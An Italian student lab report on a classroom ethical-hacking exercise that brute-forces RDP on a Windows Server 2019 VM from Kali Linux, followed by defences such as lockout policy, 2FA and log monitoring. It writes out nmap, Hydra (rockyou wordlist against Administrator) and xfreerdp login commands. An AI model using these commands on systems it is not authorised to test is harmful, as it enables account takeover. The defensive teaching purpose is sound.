Noemi **Baruffolo** **5^AROB** **25/11/2024**

Relazione attacco brute force (ethical hacking)

Obiettivo

Dimostrare un attacco brute force per accedere a un account su una macchina virtuale Windows Server 2019 utilizzando una macchina virtuale Kali Linux.

Prerequisiti

1. **Macchina virtuale Kali Linux**:
   - Software: Hydra (già installato su Kali Linux).
   - Accesso alla rete.
2. **Macchina virtuale Windows Server 2019**:
   - Abilitare il servizio **RDP**:
     - Andare su **Sistema** → **Impostazioni remote** → Abilitare **Consenti connessioni remote a questo computer**.
   - Configurare un utente con una password semplice per simulare l'attacco.
3. **Connessione di rete condivisa**:
   - Entrambe le macchine devono essere sulla stessa rete o subnet.
4. **File di dizionario**:
   - Usare un file di password, come /usr/share/wordlists/rockyou.txt (incluso in Kali).

Passaggi per condurre l'attacco

1. Verifica il servizio RDP sul Windows Server

Prima di iniziare, controllare che il servizio RDP sia attivo sulla macchina Windows Server 2019 e che accetti connessioni.

1. Scansionare la macchina target con **Nmap** per verificare la porta RDP (3389) aperta:

```
nmap -p 3389 <IP_target>
```

Esempio di risultato atteso:
La porta 3389 deve essere aperta.

```
3389/tcp open  ms-wbt-server
```

2. Lanciare l'attacco brute force con Hydra

Hydra è uno strumento per attacchi brute force. Bisogna usarlo per provare combinazioni di username e password.

1. Comando Hydra per attaccare RDP:

```
hydra -l Administrator -P /usr/share/wordlists/rockyou.txt rdp://<IP_target>
```

Spiegazione del comando:

- -l Administrator: Nome utente da testare (Administrator è l'account predefinito di Windows Server).
- -P /usr/share/wordlists/rockyou.txt: Percorso del file delle password da provare.
- rdp://<IP_target>: Specifica il protocollo RDP e l'IP del target.

2. **Esempio**:

Se l'indirizzo IP della macchina Windows Server è 192.168.1.100, il comando diventa:

```
hydra -l Administrator -P /usr/share/wordlists/rockyou.txt
rdp://192.168.1.100
```

3. **Output atteso**:

Hydra mostrerà la password trovata, se presente nel dizionario:

```
[3389][rdp] host: 192.168.1.100   login: Administrator   password:
password123
```

3. Accesso al sistema Windows Server 2019

Dopo aver ottenuto la password, si può provare a connettersi al sistema usando un client RDP, come xfreerdp su Kali Linux:

1. Installare xfreerdp (se non già installato):

```
sudo apt install freerdp2-x11
```

2. Eseguire il comando per accedere al sistema:

```
xfreerdp /u:Administrator /p:password123 /v:192.168.1.100
```

Spiegazione:

- /u:Administrator: Nome utente.
- /p:password123: Password trovata.
- /v:192.168.1.100: Indirizzo IP del server.

Contromisure per difendersi dall'attacco

1. Utilizzare password complesse

- Usare password lunghe (almeno 12 caratteri) con lettere maiuscole, minuscole, numeri e simboli.
- Evitare password presenti nei dizionari comuni.

2. Limitare i tentativi di login

1. Configurare criteri di sicurezza per bloccare temporaneamente l'account dopo un certo numero di tentativi falliti:
   - Andare su **Criteri di sicurezza locali → Criteri account → Criteri di blocco account**.
   - Configurare:
     - **Soglia di blocco account**: es. 3 tentativi falliti.
     - **Durata blocco account**: es. 15 minuti.

3. Utilizzare l'autenticazione a due fattori (2FA)

Integrare una soluzione 2FA per aggiungere un livello di sicurezza.

4. Modificare la porta RDP predefinita

Cambiare la porta RDP (3389) per renderla meno individuabile:

1. Modificare il registro di sistema:
   - Andarei su HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp.
   - Cambiare il valore di PortNumber (es. 3390).
2. Riavviare il servizio RDP.

5. Monitorare i log di accesso

Controllare i log di sicurezza per individuare tentativi di accesso sospetti:

1. Aprire **Visualizzatore eventi** su Windows Server.
2. Andare a **Registri di Windows → Sicurezza**.
3. Cercare eventi con ID:
   - 4625: Tentativo di accesso fallito.
   - 4624: Accesso riuscito.

6. Usare un IDS/IPS

Implementare un sistema di rilevamento/prevenzione delle intrusioni (es. Snort o Suricata) per identificare attacchi brute force.

Conclusione

Questa simulazione dimostra come un attacco **brute force** possa compromettere un sistema con password deboli. Tuttavia, con le contromisure appropriate (password robuste, limitazioni sui tentativi di accesso, 2FA), è possibile proteggere efficacemente un server Windows da questo tipo di attacchi.